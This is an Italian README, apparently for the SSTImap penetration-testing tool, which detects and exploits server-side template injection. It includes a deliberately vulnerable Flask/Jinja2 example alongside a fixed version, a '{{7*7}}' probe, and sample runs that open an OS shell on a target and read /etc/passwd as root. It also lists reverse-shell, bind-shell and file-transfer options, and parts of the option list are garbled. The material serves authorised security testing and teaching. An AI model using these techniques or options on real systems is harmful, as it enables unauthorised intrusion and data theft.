
Strumento di rilevamento automatico di SSTI con interfaccia interattiva
Questo progetto è basato su Tplmap.
SSTImap è un software di penetration testing in grado di verificare la presenza di vulnerabilità di Code Injection e Server-Side Template Injection nei siti web e di sfruttarle, fornendo accesso al sistema operativo stesso.
Questo strumento è stato sviluppato per essere utilizzato come strumento interattivo di penetration testing per il rilevamento e lo sfruttamento di SSTI, consentendo uno sfruttamento più avanzato. Ulteriori payload per SSTImap sono disponibili qui.
I payload e le tecniche provengono da:
Questo strumento è in grado di sfruttare alcuni casi di escape dal contesto del codice e scenari di iniezione cieca. Supporta inoltre iniezioni di codice simili a eval() in Java, JavaScript, PHP, Python, Ruby e motori di template generici non sandboxed.
Anche se questo software è basato sul codice di Tplmap, non è garantita la compatibilità con le versioni precedenti.
-i) che consente un rilevamento e uno sfruttamento più semplici--genericEval_generic-x) o di singolo comando (-X)-h per l'aiutoQuesto è un esempio di un semplice sito web scritto in Python utilizzando il framework Flask e il motore di template Jinja2. Integra la variabile name fornita dall'utente in modo non sicuro, poiché viene concatenata alla stringa del template prima del rendering.
from flask import Flask, request, render_template_string
import os
app = Flask(__name__)
@app.route("/page")
def page():
name = request.args.get('name', 'World')
# SSTI VULNERABILITY:
template = f"Hello, {name}!<br>\n" \
"OS type: {{os}}"
return render_template_string(template, os=os.name)
if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)
Non solo questo modo di utilizzare i template crea una vulnerabilità XSS, ma consente anche all'attaccante di iniettare codice di template, che verrà eseguito sul server, portando a SSTI.
$ curl -g 'https://www.target.com/page?name=John'
Hello John!<br>
OS type: posix
$ curl -g 'https://www.target.com/page?name={{7*7}}'
Hello 49!<br>
OS type: posix
L'input fornito dall'utente dovrebbe essere introdotto in modo sicuro tramite il contesto di rendering:
from flask import Flask, request, render_template_string
import os
app = Flask(__name__)
@app.route("/page")
def page():
name = request.args.get('name', 'World')
template = "Hello, {{name}}!<br>\n" \
"OS type: {{os}}"
return render_template_string(template, name=name, os=os.name)
if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)
SSTImap in modalità predeterminata è molto simile a Tplmap. È in grado di rilevare e sfruttare vulnerabilità SSTI in diversi template differenti.
Dopo lo sfruttamento, SSTImap può fornire accesso alla valutazione del codice, all'esecuzione di comandi del sistema operativo e alla manipolazione del file system.
Per controllare l'URL, è possibile utilizzare l'argomento -u:
$ ./sstimap.py -u https://example.com/page?name=John
╔══════╦══════╦═══════╗ ▀█▀
║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
║ ╚════╣ ╚════╗ ║ ║ ║{║ _ __ ___ __ _ _ __
╚════╗ ╠════╗ ║ ║ ║ ║*║ | '_ ` _ \ / _` | '_ \
╔════╝ ╠════╝ ║ ║ ║ ║}║ | | | | | | (_| | |_) |
╚══════╩══════╝ ╚═╝ ╚╦╝ |_| |_| |_|\__,_| .__/
│ | |
|_|
[*] Version: 1.4.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal.
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] Testing if GET parameter 'name' is injectable
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:
GET parameter: name
Engine: Jinja2
Injection: {{*}}
Context: text
OS: posix-linux
Technique: render
Capabilities:
Shell command execution: ok
Bind and reverse shell: ok
File write: ok
File read: ok
Code evaluation: ok, python code
[+] Rerun SSTImap providing one of the following options:
--os-shell Prompt for an interactive operating system shell
--os-cmd Execute an operating system command.
--eval-shell Prompt for an interactive shell on the template engine base language.
--eval-cmd Evaluate code in the template engine base language.
--tpl-shell Prompt for an interactive shell on the template engine.
--tpl-cmd Inject code in the template engine.
--bind-shell PORT Connect to a shell bind to a target port
--reverse-shell HOST PORT Send a shell back to the attacker's port
--upload LOCAL REMOTE Upload files to the server
--download REMOTE LOCAL Download remote files
Utilizzare l'opzione --os-shell per avviare un pseudo-terminale sul target.
$ ./sstimap.py -u https://example.com/page?name=John --os-shell
╔══════╦══════╦═══════╗ ▀█▀
║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
║ ╚════╣ ╚════╗ ║ ║ ║{║ _ __ ___ __ _ _ __
╚════╗ ╠════╗ ║ ║ ║ ║*║ | '_ ` _ \ / _` | '_ \
╔════╝ ╠════╝ ║ ║ ║ ║}║ | | | | | | (_| | |_) |
╚══════╩══════╝ ╚═╝ ╚╦╝ |_| |_| |_|\__,_| .__/
│ | |
|_|
[*] Version: 1.4.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal.
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] Loaded plugins by categories: languages: 6; generic: 5; java: 4; javascript: 7; php: 3; python: 5; ruby: 2
[*] Loaded request body types by categories: auto: 1; http: 1; object: 2; raw: 3
[*] Testing if GET parameter 'name' is injectable
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:
GET parameter: name
Engine: Jinja2
Injection: {{*}}
Context: text
OS: posix-linux
Technique: render
Capabilities:
Shell command execution: ok
Bind and reverse shell: ok
File write: ok
File read: ok
Code evaluation: ok, python code
[+] Run commands on the operating system.
posix-linux $ whoami
root
posix-linux $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
Per ottenere un elenco completo delle opzioni, utilizzare l'argomento --help.
In modalità interattiva, i comandi vengono utilizzati per interagire con SSTImap. Per entrare in modalità interattiva, è possibile utilizzare l'argomento -i. Tutti gli altri argomenti, ad eccezione di quelli relativi ai payload di sfruttamento, verranno utilizzati come valori iniziali per le impostazioni.
Alcuni comandi vengono utilizzati per modificare le impostazioni tra le esecuzioni dei test. Per eseguire un test, l'URL del target deve essere fornito tramite l'argomento iniziale -u o il comando url. Successivamente, è possibile utilizzare il comando run per verificare la presenza di SSTI nell'URL.
Se viene trovata una SSTI, è possibile utilizzare i comandi per avviare lo sfruttamento. È possibile ottenere le stesse capacità di sfruttamento della modalità predeterminata, ma è possibile utilizzare Ctrl+C per interromperle senza fermare il programma.
Tra l'altro, i risultati dei test sono validi finché l'URL del target non viene modificato, quindi è possibile passare facilmente da un metodo di sfruttamento all'altro senza eseguire ogni volta il test di rilevamento.
Per ottenere un elenco completo dei comandi interattivi, utilizzare il comando help in modalità interattiva.
SSTImap supporta più motori di template e iniezioni simili a eval().
I nuovi payload sono benvenuti nelle PR. Consultare i suggerimenti per accelerare lo sviluppo.
| Engine | RCE | Tech | Language | Type |
|---|---|---|---|---|
| Freemarker | ✓ | REBT | Java | Default |
| Java generic EL injections | ✓ | REBT | Java | Default |
| OGNL (Object-Graph Navigation Language code eval) | ✓ | REBT | Java | Default |
| Velocity | ✓ | REBT | Java | Default |
| Nunjucks | ✓ | REBT | JavaScript | Default |
| Velocity.js | ✓ | REBT | JavaScript | Default |
| JavaScript (code eval) | ✓ | REBT | JavaScript | Default |
| JavaScript-based generic templates | ✓ | REBT | JavaScript | Default |
| Twig (>=1.41; >=2.10; >=3.0) | ✓ | REBT | PHP | Default |
| PHP (code eval) | ✓ | REBT | PHP | Default |
| PHP-based generic templates | ✓ | REBT | PHP | Default |
| Jinja2 | ✓ | REBT | Python | Default |
| Python (code eval) | ✓ | REBT | Python | Default |
| Python-based generic templates | ✓ | REBT | Python | Default |
| ERB | ✓ | REBT | Ruby | Default |
| Mustache (<=1.1.2; detection only) | × | reb_ | Ruby | Default |
| Slim | ✓ | REBT | Ruby | Default |
| Ruby (code eval) | ✓ | REBT | Ruby | Default |
| Generic evaluating templates | × | Reb_ | * | Default |
| SpEL (Spring EL code eval) | ✓ | REBT | Java | Generic |
| doT | ✓ | REBT | JavaScript | Generic |
Tecniche: (R)endering, (E)rror-based, (B)oolean error-based blind e (T)ime-based blind; La lettera minuscola indica una tecnica parzialmente supportata
Ulteriori plugin e payload sono disponibili nel repository SSTImap Extra Plugins.
Attualmente, Burp Suite funziona solo con Jython come modo per eseguire python2. La funzionalità Python3 non è fornita.
Se hai intenzione di contribuire con qualcosa di importante da questo elenco, informami per evitare di lavorare sulla stessa cosa di me o di altri contributori.
| EJS | ✓ | REBT | JavaScript | Generic |
| Marko | ✓ | REBT | JavaScript | Generic |
| Pug | ✓ | REBT | JavaScript | Generic |
| Smarty | ✓ | REBT | PHP | Generic |
| Cheetah | ✓ | REBT | Python | Generic |
| Mako | ✓ | REBT | Python | Generic |
| Tornado | ✓ | REBT | Python | Generic |
| Dust (<= [email protected]) | ✓ | REBT | JavaScript | Legacy |
| Twig (<=1.19.0) | ✓ | REBT | PHP | Legacy |
| Pybars3 / Pybars4 | ✓ | REBT | Python | Legacy |
| Templite | ✓ | REBT | Python | Legacy |
| SSI (Server-Side Includes injection) | ✓ | R__T | SSI | Legacy |
| Obscure evaluating syntaxes | × | Reb_ | * | Legacy |
| CVE-2025-1302 | ✓ | REBT | JavaScript | Extra |
| CVE-2025-13204 | ✓ | REBT | JavaScript | Extra |
| CVE-2022-23614 | ✓ | REBT | PHP | Extra |
| CVE-2024-6386 | ✓ | REBT | PHP | Extra |
| CVE-2026-46640 | ✓ | REBT | PHP | Extra |